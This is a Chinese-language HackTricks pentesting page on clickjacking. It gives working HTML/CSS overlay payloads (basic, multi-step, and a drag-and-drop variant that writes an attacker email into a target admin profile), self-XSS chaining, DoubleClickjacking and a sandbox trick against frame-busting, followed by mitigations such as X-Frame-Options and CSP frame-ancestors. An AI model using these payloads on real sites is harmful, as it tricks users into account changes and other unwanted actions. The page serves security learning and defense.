Clickjacking
Reading time: 10 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 Clickjacking
在 clickjacking 攻击中,用户被欺骗去点击网页上的一个元素,该元素要么是不可见的,要么伪装成其他元素。这种操控可能导致用户意想不到的后果,例如下载恶意软件、重定向到恶意网页、提供凭据或敏感信息、资金转移或在线购买产品。
预填充表单技巧
有时可以在加载页面时使用 GET 参数填充表单字段的值。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。
使用拖放填充表单
如果你需要用户填写表单,但不想直接要求他写一些特定的信息(例如你知道的电子邮件或特定密码),你可以只要求他拖放一些东西,这样就会写入你控制的数据,如在 这个例子 中所示。
基本有效载荷
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
多步骤有效载荷
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
拖放 + 点击有效载荷
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
如果您已识别出一个需要用户点击某个元素以触发XSS的XSS攻击,并且该页面易受点击劫持,您可以利用它来欺骗用户点击按钮/链接。
示例:
您在账户的某些私人细节中发现了一个自我XSS(只有您可以设置和读取的细节)。包含设置这些细节的表单的页面易受 点击劫持,您可以用GET参数预填充该表单。
攻击者可以准备一个点击劫持攻击,将该页面的表单****预填充为XSS有效载荷,并欺骗用户提交表单。因此,当表单被提交且值被修改时,用户将执行XSS。
DoubleClickjacking
首先在这篇文章中解释,该技术会要求受害者在特定位置的自定义页面上双击一个按钮,并利用鼠标按下和点击事件之间的时间差,在双击期间加载受害者页面,以便受害者实际上点击了受害者页面中的合法按钮。
一个示例可以在这个视频中看到:https://www.youtube.com/watch?v=4rGvRRMrD18
warning
该技术允许欺骗用户在受害者页面的一个地方点击,绕过所有针对点击劫持的保护。因此,攻击者需要找到只需一次点击即可完成的敏感操作,例如接受权限的OAuth提示。
Strategies to Mitigate Clickjacking
Client-Side Defenses
在客户端执行的脚本可以采取措施防止点击劫持:
- 确保应用程序窗口是主窗口或顶部窗口。
- 使所有框架可见。
- 防止对不可见框架的点击。
- 检测并警告用户潜在的点击劫持尝试。
然而,这些框架破坏脚本可能会被规避:
- 浏览器的安全设置: 一些浏览器可能会根据其安全设置或缺乏JavaScript支持来阻止这些脚本。
- HTML5 iframe
sandbox
属性: 攻击者可以通过设置allow-forms
或allow-scripts
值而不带allow-top-navigation
的sandbox
属性来中和框架破坏脚本。这会阻止iframe验证它是否是顶层窗口,例如,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
allow-forms
和 allow-scripts
值允许在 iframe 内进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 allow-same-origin
和 allow-modals
,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。
服务器端防御
X-Frame-Options
X-Frame-Options
HTTP 响应头 通知浏览器关于在 <frame>
或 <iframe>
中渲染页面的合法性,有助于防止 Clickjacking:
X-Frame-Options: deny
- 没有域可以框架内容。X-Frame-Options: sameorigin
- 只有当前站点可以框架内容。X-Frame-Options: allow-from https://trusted.com
- 只有指定的 'uri' 可以框架页面。- 注意限制:如果浏览器不支持此指令,可能无法工作。一些浏览器更倾向于 CSP frame-ancestors 指令。
内容安全策略 (CSP) frame-ancestors 指令
CSP 中的 frame-ancestors
指令 是防止 Clickjacking 的建议方法:
frame-ancestors 'none'
- 类似于X-Frame-Options: deny
。frame-ancestors 'self'
- 类似于X-Frame-Options: sameorigin
。frame-ancestors trusted.com
- 类似于X-Frame-Options: allow-from
。
例如,以下 CSP 仅允许来自同一域的框架:
Content-Security-Policy: frame-ancestors 'self';
更多详细信息和复杂示例可以在 frame-ancestors CSP 文档 和 Mozilla 的 CSP frame-ancestors 文档 中找到。
内容安全策略 (CSP) 与 child-src
和 frame-src
内容安全策略 (CSP) 是一种安全措施,通过指定浏览器应允许加载内容的来源,帮助防止 Clickjacking 和其他代码注入攻击。
frame-src
指令
- 定义框架的有效来源。
- 比
default-src
指令更具体。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
此策略允许来自相同源(self)和 https://trusted-website.com 的框架。
child-src
指令
- 在 CSP 级别 2 中引入,用于设置 web workers 和框架的有效源。
- 作为 frame-src 和 worker-src 的后备。
Content-Security-Policy: child-src 'self' https://trusted-website.com;
此策略允许来自相同源(self)和 https://trusted-website.com 的框架和工作者。
使用说明:
- 弃用:child-src 正在逐步被 frame-src 和 worker-src 取代。
- 回退行为:如果 frame-src 缺失,则使用 child-src 作为框架的回退。如果两者都缺失,则使用 default-src。
- 严格的源定义:在指令中仅包含受信任的源以防止利用。
JavaScript 框架破坏脚本
尽管并非完全可靠,但基于 JavaScript 的框架破坏脚本可以用于防止网页被框架化。示例:
if (top !== self) {
top.location = self.location
}
使用反-CSRF 令牌
- 令牌验证: 在 web 应用程序中使用反-CSRF 令牌,以确保状态更改请求是用户有意发出的,而不是通过 Clickjacked 页面发出的。
参考文献
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。